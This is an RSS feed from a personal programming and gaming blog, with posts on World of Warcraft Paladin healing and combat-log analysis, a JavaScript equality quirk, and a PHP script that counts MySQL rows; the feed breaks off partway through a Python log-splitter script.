<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>project-2501.net</title>
	<atom:link href="http://project-2501.net/index.php/feed/" rel="self" type="application/rss+xml" />
	<link>http://project-2501.net</link>
	<description>The net is vast and infinite.</description>
	<lastBuildDate>Wed, 03 Feb 2010 08:51:50 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.1</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Intial Divine Guardian Tests</title>
		<link>http://project-2501.net/index.php/2010/02/intial-divine-guardian-tests/</link>
		<comments>http://project-2501.net/index.php/2010/02/intial-divine-guardian-tests/#comments</comments>
		<pubDate>Wed, 03 Feb 2010 08:51:50 +0000</pubDate>
		<dc:creator>Matthew</dc:creator>
				<category><![CDATA[games]]></category>
		<category><![CDATA[programming]]></category>
		<category><![CDATA[python]]></category>

		<guid isPermaLink="false">http://project-2501.net/?p=233</guid>
		<description><![CDATA[I been wanting to look in the effectiveness of the 20% raid wall granted by Divine Guardian (4th tier talent in a Paladin&#8217;s protection tree).  To do this I wrote a very simple Python program to read the combat log, detect with DG goes up and then record all the damage that was taken [...]]]></description>
			<content:encoded><![CDATA[<p>I been wanting to look in the effectiveness of the 20% raid wall granted by Divine Guardian (4th tier talent in a Paladin&#8217;s protection tree).  To do this I wrote a very simple Python program to read the combat log, detect with DG goes up and then record all the damage that was taken while it was present on a unit, and work out how much was mitigated.  Of course, as the script was hacked up, it has all sorts of limitations:</p>
<ul>
<li>Ignores Divine Sacrifice</li>
<li>Ignores any other mitigation effects (Talents / Sanc / Inspiration / etc)</li>
<li>Ignores overkills</li>
<li>Undefined behavior when used by two Paladins</li>
</ul>
<p>Below is the results for a two nights in ICC 25, while I&#8217;m sure it&#8217;s not 100% it should be a reasonable ballpark figure.</p>
<p><!-- Horrible CCS hacks to add padding back to my poor tables --></p>
<style>
.mytable_233 td, .mytable_233 th
{
padding: 0.3em;
}
</style>
<table class='mytable_233' cellspacing="0" cellpadding="2" cols="1" border="1" style="border: 1px solid #ccc; border-collapse: collapse;">
<tr>
<th>Fight</th>
<th>Damage Mitigated via DG</th>
</tr>
<tr>
<td>Gaseous Blight</td>
<td>37057</td>
</tr>
<tr>
<td>Gaseous Blight</td>
<td>32664</td>
</tr>
<tr>
<td>Ooze Explosion/Melee</td>
<td>39923</td>
</tr>
<tr>
<td>Trash before Blood Queen</td>
<td>21145</td>
</tr>
<tr>
<td>Blood Queen (Fear/Bloodbolt)</td>
<td>42212</td>
</tr>
<tr>
<td>Blood Queen (Fear/Bloodbolt)</td>
<td>54410</td>
</tr>
<tr>
<td>Blood Queen (Fear/Bloodbolt)</td>
<td>17679</td>
</tr>
<tr>
<td>Blood Queen (Fear/Bloodbolt)</td>
<td>29315</td>
</tr>
<tr>
<td>Blood Queen (Fear/Bloodbolt)</td>
<td>32029</td>
</tr>
<tr>
<td>Blood Queen (Fear/Bloodbolt)</td>
<td>51281</td>
</tr>
<tr>
<td>Blood Queen (Fear/Bloodbolt)</td>
<td>34494</td>
</tr>
<tr>
<td>Blood Queen (Fear/Bloodbolt)</td>
<td>14201</td>
</tr>
<tr>
<td>Blood Queen (Fear/Bloodbolt)</td>
<td>41417</td>
</tr>
<tr>
<td>Blood Queen (Fear/Bloodbolt)</td>
<td>18817</td>
</tr>
<tr>
<td>Blood Queen (Fear/Bloodbolt)</td>
<td>35641</td>
</tr>
<tr>
<td>Blood Queen (Fear/Bloodbolt)</td>
<td>49571</td>
</tr>
<tr>
<td>Blood Queen (Fear/Bloodbolt)</td>
<td>26427</td>
</tr>
<tr>
<td>Average</td>
<td>34017</td>
</tr>
</table>
]]></content:encoded>
			<wfw:commentRss>http://project-2501.net/index.php/2010/02/intial-divine-guardian-tests/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>javascript; sending me insane</title>
		<link>http://project-2501.net/index.php/2010/01/javascript-sending-me-insane/</link>
		<comments>http://project-2501.net/index.php/2010/01/javascript-sending-me-insane/#comments</comments>
		<pubDate>Tue, 19 Jan 2010 03:55:38 +0000</pubDate>
		<dc:creator>Matthew</dc:creator>
				<category><![CDATA[javascript]]></category>
		<category><![CDATA[programming]]></category>

		<guid isPermaLink="false">http://project-2501.net/?p=228</guid>
		<description><![CDATA[&#62;&#62;&#62; &#91;&#93;
&#91;&#93;
&#62;&#62;&#62; &#91;&#93; == true
false
&#62;&#62;&#62; &#91;&#93; == false
true
&#62;&#62;&#62; &#91;&#93; == &#91;&#93;
false
&#62;&#62;&#62; false == false
true
]]></description>
			<content:encoded><![CDATA[<div class="codecolorer-container javascript " style="overflow:auto;white-space:nowrap;width:540px"><div class="javascript codecolorer" style="font-family:Monaco,Lucida Console,monospace"><span class="sy0">&gt;&gt;&gt;</span> <span class="br0">&#91;</span><span class="br0">&#93;</span><br />
<span class="br0">&#91;</span><span class="br0">&#93;</span><br />
<span class="sy0">&gt;&gt;&gt;</span> <span class="br0">&#91;</span><span class="br0">&#93;</span> <span class="sy0">==</span> <span class="kw2">true</span><br />
<span class="kw2">false</span><br />
<span class="sy0">&gt;&gt;&gt;</span> <span class="br0">&#91;</span><span class="br0">&#93;</span> <span class="sy0">==</span> <span class="kw2">false</span><br />
<span class="kw2">true</span><br />
<span class="sy0">&gt;&gt;&gt;</span> <span class="br0">&#91;</span><span class="br0">&#93;</span> <span class="sy0">==</span> <span class="br0">&#91;</span><span class="br0">&#93;</span><br />
<span class="kw2">false</span><br />
<span class="sy0">&gt;&gt;&gt;</span> <span class="kw2">false</span> <span class="sy0">==</span> <span class="kw2">false</span><br />
<span class="kw2">true</span></div></div>
]]></content:encoded>
			<wfw:commentRss>http://project-2501.net/index.php/2010/01/javascript-sending-me-insane/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>How win friends and pad meters</title>
		<link>http://project-2501.net/index.php/2009/12/how-win-friends-and-pad-meters/</link>
		<comments>http://project-2501.net/index.php/2009/12/how-win-friends-and-pad-meters/#comments</comments>
		<pubDate>Tue, 22 Dec 2009 15:37:30 +0000</pubDate>
		<dc:creator>Matthew</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://project-2501.net/?p=222</guid>
		<description><![CDATA[Introduction to Holy Paladin Healing in 3.2/3.3
Spec


        Base Holy tree looks something like this talent tree

Points in Imp Wis and Bless Hands can be moved about if you&#8217;d prefer



        Then either go 17 points into Prot for Divine Guardian, or 20 [...]]]></description>
			<content:encoded><![CDATA[<p><strong>Introduction to Holy Paladin Healing in 3.2/3.3</strong></p>
<h3>Spec</h3>
<ul>
<li>
        Base Holy tree looks something like this <a href="http://www.wowhead.com/?talent#sxAzxMosVu0tgd">talent tree</a></p>
<ul>
<li>Points in Imp Wis and Bless Hands can be moved about if you&#8217;d prefer</li>
</ul>
</li>
<li>
        Then either go 17 points into Prot for Divine Guardian, or 20 points into Ret for Crit + Run Speed
    </li>
</ul>
<h3>Glyphs</h3>
<ul>
<li>Glyph of Holy Light</li>
<li>Glyph of Wisdom</li>
<li>Glyph of Beacon of Light  (My preference)</li>
</ul>
<h3>Addons</h3>
<ul>
<li>Grid + Clique / Healbot / Fail Bindings + Blizzard frames.  Just make sure you can see every-ones health, and debuffs (preferable with time + stacks)</li>
<li><a href="http://wow.curse.com/downloads/wow-addons/details/clcbpt.aspx">Paladin Beacon of Light, Sacred Shield Tracker</a></li>
<li><a href="http://wow.curse.com/downloads/wow-addons/details/jaraxxus_debuffhealingmonitor.aspx">Jaraxxus_DebuffHealingMonitor</a></li>
</ul>
<h3>Gear</h3>
<ul>
<li>Int > *</li>
<li>Use a Insightful Earthsiege Diamond Meta. Always</li>
<li>Socket +20 Int in everything, use a single Nightmare Tear (+10 all stats) to activate the meta</li>
<li>Haste is a great throughput stat, 500-650 is a nice area to aim for</li>
<li>Don&#8217;t worry too much about your crit / mp5.  Keep them balance, it will come naturally on your gear</li>
</ul>
<h3>Healing</h3>
<ul>
<li>Assuming a non trivial fight (else do what ever the hell you want, it&#8217;s not important)</li>
<li>Your job will be to keep the tanks up, and help out on the raid when safe</li>
<li>Make sure you can see debuffs.  If you use Grid either add the debuffs for each encounter  yourself, or install a Grid addon that does it for you</li>
<li>
        Pick the player that will take most damage during the fight, this will normally be the MT</p>
<ul>
<li>Put Beacon on them.  Keep it up.  Don&#8217;t let it drop.</li>
<li>Beacon has a 60yard range, use this to your advantage (e.g. If phase 2 of beasts you can spread out more than other healers and still heal both tanks)</li>
<li>
                Note:  With Multiple Paladins, if may be wise to split the Beacons depending on the fight. For example:</p>
<ul>
<li>Beasts doesn&#8217;t matter, you&#8217;ll be healing the two tanks almost all the time (phase 1 + 2)</li>
<li>Jaraxxus split between OT and MT (the OT will take similar amounts of damage, that can be more spikey [Asmuing your interupters don't suck])</li>
<li>Twins split, raid healing is very high compared to tank damage</li>
</ul>
</li>
</ul>
</li>
<li>
        Keep JotP up.  Always.  It&#8217;s one GCD every 60s for 15% Haste.</p>
<ul>
<li>Judge Light to pad meters, judge Wisdom to keep hunters from QQ&#8217;ing</li>
<li>Don&#8217;t wait till 5s before refreshing the buff, do it when the tank isn&#8217;t taking much damage and the raid is nice and high</li>
<li>Judge = Melee attack = Change of Seal of Wisdom proc</li>
</ul>
</li>
<li>If you&#8217;re Holy/Prot; keep SS up, like judgements, refresh early when it&#8217;s safe</li>
<li>Spam HL on Target taking damage that you haven&#8217;t placed Beacon on (OT, or Raid members)</li>
<li>Be Awesome</li>
</ul>
<h3>Dealing with Mana</h3>
<ul>
<li>FoL isn&#8217;t useless, use it to save mana when you know the there is little damage (First 2-3 impales on beasts).  Just don&#8217;t let anyone die.</li>
<li>Time Divine Plea with natural breaks in the fight (phase change, or little damage) don&#8217;t leave it till you&#8217;re out of mana</li>
<li>Use Divine Illumination early so you can use it several times during en encounter</li>
<li>
        Abuse Seal of Wisdom when it&#8217;s safe. e.g.</p>
<ul>
<li>Icehowl, after a stun (make sure you leave melee range before the stun wears off to avoid the knock back)</li>
<li>Jarraxus when no adds are up (you need to pay very close attention to what&#8217;s going on)</li>
<li>Twins, when there aren&#8217;t too many orbs about</li>
<li>Anub&#8217;Arak, on phase change whack the Scarabs and even Anub himself in between Holy Lights</li>
</ul>
</li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://project-2501.net/index.php/2009/12/how-win-friends-and-pad-meters/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>total mysql rows</title>
		<link>http://project-2501.net/index.php/2009/09/total-mysql-rows/</link>
		<comments>http://project-2501.net/index.php/2009/09/total-mysql-rows/#comments</comments>
		<pubDate>Wed, 09 Sep 2009 01:50:04 +0000</pubDate>
		<dc:creator>Matthew</dc:creator>
				<category><![CDATA[mysql]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[programming]]></category>

		<guid isPermaLink="false">http://project-2501.net/?p=213</guid>
		<description><![CDATA[Turns out our Mysql server at work is a little bigger than I thought:
Databases 75
Tables &#160; &#160;1,549
Rows &#160; &#160; &#160;1,018,085,348
However over the last couple of months, we&#8217;ve only averaged 130 queries/second
Hacked up PHP to gather stats:
class MysqlCounter
&#123;
&#160; &#160; public function __construct&#40;$host, $username, $password&#41;
&#160; &#160; &#123;
&#160; &#160; &#160; &#160; $this-&#62;conn = mysql_connect&#40;$host, $username, $password, true&#41;;
&#160; &#160; [...]]]></description>
			<content:encoded><![CDATA[<p>Turns out our Mysql server at work is a little bigger than I thought:</p>
<div class="codecolorer-container text " style="overflow:auto;white-space:nowrap;width:540px"><div class="text codecolorer" style="font-family:Monaco,Lucida Console,monospace">Databases 75<br />
Tables &nbsp; &nbsp;1,549<br />
Rows &nbsp; &nbsp; &nbsp;1,018,085,348</div></div>
<p>However over the last couple of months, we&#8217;ve only averaged 130 queries/second</p>
<p><strong>Hacked up PHP to gather stats:</strong></p>
<div class="codecolorer-container php " style="overflow:auto;white-space:nowrap;width:540px;height:300px"><div class="php codecolorer" style="font-family:Monaco,Lucida Console,monospace"><span class="kw2">class</span> MysqlCounter<br />
<span class="br0">&#123;</span><br />
&nbsp; &nbsp; <span class="kw2">public</span> <span class="kw2">function</span> __construct<span class="br0">&#40;</span><span class="re0">$host</span><span class="sy0">,</span> <span class="re0">$username</span><span class="sy0">,</span> <span class="re0">$password</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$this</span><span class="sy0">-&gt;</span><span class="me1">conn</span> <span class="sy0">=</span> <span class="kw3">mysql_connect</span><span class="br0">&#40;</span><span class="re0">$host</span><span class="sy0">,</span> <span class="re0">$username</span><span class="sy0">,</span> <span class="re0">$password</span><span class="sy0">,</span> <span class="kw2">true</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span><span class="br0">&#40;</span><span class="re0">$this</span><span class="sy0">-&gt;</span><span class="me1">conn</span> <span class="sy0">===</span> <span class="kw2">false</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; throw <span class="kw2">new</span> Exception<span class="br0">&#40;</span><span class="st0">&quot;Unable to connect to Mysql server: &quot;</span> <span class="sy0">.</span> <span class="kw3">mysql_error</span><span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$this</span><span class="sy0">-&gt;</span><span class="me1">num_databases</span> <span class="sy0">=</span> <span class="nu0">0</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$this</span><span class="sy0">-&gt;</span><span class="me1">num_tables</span> <span class="sy0">=</span> <span class="nu0">0</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$this</span><span class="sy0">-&gt;</span><span class="me1">num_rows</span> <span class="sy0">=</span> <span class="nu0">0</span><span class="sy0">;</span><br />
&nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; <span class="kw2">private</span> <span class="kw2">function</span> query<span class="br0">&#40;</span><span class="re0">$sql</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$query</span> <span class="sy0">=</span> <span class="kw3">mysql_query</span><span class="br0">&#40;</span><span class="re0">$sql</span><span class="sy0">,</span> <span class="re0">$this</span><span class="sy0">-&gt;</span><span class="me1">conn</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span><span class="br0">&#40;</span><span class="re0">$query</span> <span class="sy0">===</span> <span class="kw2">false</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; throw <span class="kw2">new</span> Exception<span class="br0">&#40;</span><span class="st0">&quot;Unable to run query: <span class="es4">$sql</span><span class="es1">\n</span>&quot;</span> <span class="sy0">.</span> <span class="kw3">mysql_error</span><span class="br0">&#40;</span><span class="re0">$this</span><span class="sy0">-&gt;</span><span class="me1">conn</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span><span class="br0">&#40;</span><span class="re0">$query</span> <span class="sy0">===</span> <span class="kw2">true</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span> <span class="kw3">array</span><span class="br0">&#40;</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$rows</span> <span class="sy0">=</span> <span class="kw3">array</span><span class="br0">&#40;</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">while</span> <span class="br0">&#40;</span><span class="re0">$row</span> <span class="sy0">=</span> <span class="kw3">mysql_fetch_array</span><span class="br0">&#40;</span><span class="re0">$query</span><span class="br0">&#41;</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$rows</span><span class="br0">&#91;</span><span class="br0">&#93;</span> <span class="sy0">=</span> <span class="re0">$row</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span> <span class="re0">$rows</span><span class="sy0">;</span><br />
&nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; <span class="kw2">public</span> <span class="kw2">function</span> gather_stats<span class="br0">&#40;</span><span class="re0">$callback</span> <span class="sy0">=</span> <span class="kw2">false</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">foreach</span><span class="br0">&#40;</span><span class="re0">$this</span><span class="sy0">-&gt;</span><span class="me1">query</span><span class="br0">&#40;</span><span class="st0">&quot;SHOW DATABASES&quot;</span><span class="br0">&#41;</span> <span class="kw1">as</span> <span class="re0">$row_database</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$this</span><span class="sy0">-&gt;</span><span class="me1">num_databases</span><span class="sy0">++;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$this</span><span class="sy0">-&gt;</span><span class="me1">query</span><span class="br0">&#40;</span><span class="st0">&quot;USE `<span class="es4">{$row_database['Database']}</span>`&quot;</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">foreach</span><span class="br0">&#40;</span><span class="re0">$this</span><span class="sy0">-&gt;</span><span class="me1">query</span><span class="br0">&#40;</span><span class="st0">&quot;SHOW TABLE STATUS&quot;</span><span class="br0">&#41;</span> <span class="kw1">as</span> <span class="re0">$row_table</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$this</span><span class="sy0">-&gt;</span><span class="me1">num_tables</span><span class="sy0">++;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$this</span><span class="sy0">-&gt;</span><span class="me1">num_rows</span> <span class="sy0">+=</span> <span class="re0">$row_table</span><span class="br0">&#91;</span><span class="st_h">'Rows'</span><span class="br0">&#93;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span><span class="br0">&#40;</span><span class="re0">$callback</span> <span class="sy0">!==</span> <span class="kw2">false</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$args</span> <span class="sy0">=</span> <span class="kw3">array</span><span class="br0">&#40;</span><span class="re0">$row_database</span><span class="br0">&#91;</span><span class="st_h">'Database'</span><span class="br0">&#93;</span><span class="sy0">,</span> <span class="re0">$row_table</span><span class="br0">&#91;</span><span class="st_h">'Name'</span><span class="br0">&#93;</span><span class="sy0">,</span> <span class="re0">$row_table</span><span class="br0">&#91;</span><span class="st_h">'Rows'</span><span class="br0">&#93;</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">call_user_func_array</span><span class="br0">&#40;</span><span class="re0">$callback</span><span class="sy0">,</span> <span class="re0">$args</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; <span class="kw2">public</span> <span class="kw3">static</span> <span class="kw2">function</span> default_callback<span class="br0">&#40;</span><span class="re0">$database</span><span class="sy0">,</span> <span class="re0">$table</span><span class="sy0">,</span> <span class="re0">$rows</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">printf</span><span class="br0">&#40;</span><span class="st0">&quot;<span class="es6">%s</span> <span class="es6">%s</span> <span class="es6">%d</span><span class="es1">\n</span>&quot;</span><span class="sy0">,</span> <span class="re0">$database</span><span class="sy0">,</span> <span class="re0">$table</span><span class="sy0">,</span> <span class="re0">$rows</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; <span class="br0">&#125;</span><br />
<span class="br0">&#125;</span><br />
<br />
<span class="re0">$counter</span> <span class="sy0">=</span> <span class="kw2">new</span> MysqlCounter<span class="br0">&#40;</span><span class="st_h">'hostname'</span><span class="sy0">,</span> <span class="st_h">'username'</span><span class="sy0">,</span> <span class="st_h">'password'</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
<span class="re0">$counter</span><span class="sy0">-&gt;</span><span class="me1">gather_stats</span><span class="br0">&#40;</span><span class="kw3">array</span><span class="br0">&#40;</span><span class="st_h">'MysqlCounter'</span><span class="sy0">,</span> <span class="st_h">'default_callback'</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; <br />
<span class="kw3">echo</span> <span class="st0">&quot;Databases <span class="es4">{$counter-&gt;num_databases}</span><span class="es1">\n</span>&quot;</span><span class="sy0">;</span><br />
<span class="kw3">echo</span> <span class="st0">&quot;Tables &nbsp; &nbsp;<span class="es4">{$counter-&gt;num_tables}</span><span class="es1">\n</span>&quot;</span><span class="sy0">;</span><br />
<span class="kw3">echo</span> <span class="st0">&quot;Rows &nbsp; &nbsp; &nbsp;<span class="es4">{$counter-&gt;num_rows}</span><span class="es1">\n</span>&quot;</span><span class="sy0">;</span></div></div>
]]></content:encoded>
			<wfw:commentRss>http://project-2501.net/index.php/2009/09/total-mysql-rows/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>No One Likes a Tattletale</title>
		<link>http://project-2501.net/index.php/2009/09/no-one-likes-a-tattletale/</link>
		<comments>http://project-2501.net/index.php/2009/09/no-one-likes-a-tattletale/#comments</comments>
		<pubDate>Sat, 05 Sep 2009 06:29:19 +0000</pubDate>
		<dc:creator>Matthew</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://project-2501.net/?p=210</guid>
		<description><![CDATA[
DesuToys
]]></description>
			<content:encoded><![CDATA[<p><img src="http://project-2501.net/gallery/k20d/20080902-SG200976.jpg" alt="" /></p>
<p><a href="http://shop.desutoys.com/">DesuToys</a></p>
]]></content:encoded>
			<wfw:commentRss>http://project-2501.net/index.php/2009/09/no-one-likes-a-tattletale/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>WoW Combat Log Splitter</title>
		<link>http://project-2501.net/index.php/2009/09/wow-combat-log-splitter/</link>
		<comments>http://project-2501.net/index.php/2009/09/wow-combat-log-splitter/#comments</comments>
		<pubDate>Fri, 04 Sep 2009 07:55:11 +0000</pubDate>
		<dc:creator>Matthew</dc:creator>
				<category><![CDATA[games]]></category>
		<category><![CDATA[programming]]></category>
		<category><![CDATA[python]]></category>

		<guid isPermaLink="false">http://project-2501.net/?p=199</guid>
		<description><![CDATA[Something quick I whipped up last night, after noticing that after my log file was > 4GB the WorldOfLogs parser will no longer do real time logging.
Edit: Turns out that the WoW client itself stopped logging, even though the log file was a little over expected limit (4,334,806,196 bytes)
Note: The code is just a one [...]]]></description>
			<content:encoded><![CDATA[<p>Something quick I whipped up last night, after noticing that after my log file was > 4GB the <a href="http://www.worldoflogs.com/">WorldOfLogs</a> parser will no longer do real time logging.</p>
<p><strong>Edit:</strong> Turns out that the WoW client itself stopped logging, even though the log file was a little over expected limit (4,334,806,196 bytes)</p>
<p><em>Note: The code is just a one off script; things are hard coded, and it&#8217;s pretty slow (100MB a minute)</em></p>
<div class="codecolorer-container python " style="overflow:auto;white-space:nowrap;width:540px;height:300px"><div class="python codecolorer" style="font-family:Monaco,Lucida Console,monospace"><span class="co1">#!/usr/bin/env python</span><br />
<br />
<span class="kw1">import</span> <span class="kw3">re</span><br />
<span class="kw1">import</span> <span class="kw3">datetime</span><br />
<br />
GAP_SIZE_IN_SECONDS = <span class="nu0">60</span> <span class="sy0">*</span> <span class="nu0">60</span><br />
<br />
<span class="kw1">class</span> CombatLog:<br />
&nbsp; &nbsp; <span class="kw1">def</span> <span class="kw4">__init__</span><span class="br0">&#40;</span><span class="kw2">self</span>, filename<span class="br0">&#41;</span>:<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">self</span>.<span class="me1">filename</span> = filename<br />
<br />
&nbsp; &nbsp; <span class="kw1">def</span> process<span class="br0">&#40;</span><span class="kw2">self</span><span class="br0">&#41;</span>:<br />
&nbsp; &nbsp; &nbsp; &nbsp; last_timestamp = <span class="kw2">None</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; line_count = <span class="nu0">0</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; split_log = <span class="kw2">None</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">for</span> line <span class="kw1">in</span> <span class="kw2">open</span><span class="br0">&#40;</span><span class="kw2">self</span>.<span class="me1">filename</span><span class="br0">&#41;</span>:<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; line_count += <span class="nu0">1</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; timestamp = <span class="kw2">self</span>.<span class="me1">parse_timestamp</span><span class="br0">&#40;</span>line<span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> timestamp == <span class="kw2">None</span>:<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">print</span> <span class="st0">&quot;Unparsable data on line %d&quot;</span> <span class="sy0">%</span> <span class="br0">&#40;</span>line_count,<span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">print</span> <span class="kw3">repr</span><span class="br0">&#40;</span>line<span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">print</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">continue</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br />
